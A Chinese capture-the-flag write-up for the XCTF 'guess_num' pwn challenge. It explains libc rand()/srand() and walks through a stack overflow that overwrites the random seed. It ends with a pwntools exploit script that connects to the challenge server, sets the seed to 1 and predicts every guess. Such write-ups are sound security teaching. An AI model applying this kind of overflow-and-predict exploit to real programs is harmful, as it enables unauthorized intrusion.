攻防世界pwn新手区guess_num

最近重新回去看新手区的题目时发现一个挺有趣的东西，就是猜随机数，这里涉及到libc库中的rand()和srand()函数的应用，所以在讲题目之前我想先讲一下rand()和srand()函数的概念。
rand()函数会生成随机数，但这个随机数并不是真的随机数，由于周期比较长，他们只是在一定范围内随机，因此在调用rand()函数之前，可以使用srand()函数设置随机数种子，如果没有设置随机数种子，rand()函数在调用时，自动设计随机数种子为1。而srand()中的种子seed通常会用time(0)或geypid(0)的返回值作为seed。有了这个概念对我们接下来做guess_num有很大帮助
checksec

打开了Canary和NX保护，我们接着往下看。
ida

可以看出,在v8处有一个栈溢出，我们可以通过栈溢出到sub_C3E()拿到flag。

发现var_30到seed偏移0x20，因为看到有Canary保护我一开始会觉得是否需要绕过，但发现seed的在cookie前面，因此不需要绕过。
如果使输入的guessnumber，即v4等于随机数v6，即可cat flag。
代码
因为题目没有提供libc库，因此需要使用ldd查找

代码如下:

from pwn import*
from ctypes import*
r=remote('220.249.52.133',33383)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload='a'*0x20+p64(1)
r.sendlineafter('name:',payload)
libc.srand(1)
for i in range(10):
	num=str(libc.rand()%6+1)
	r.sendlineafter('number:',num)
r.interactive()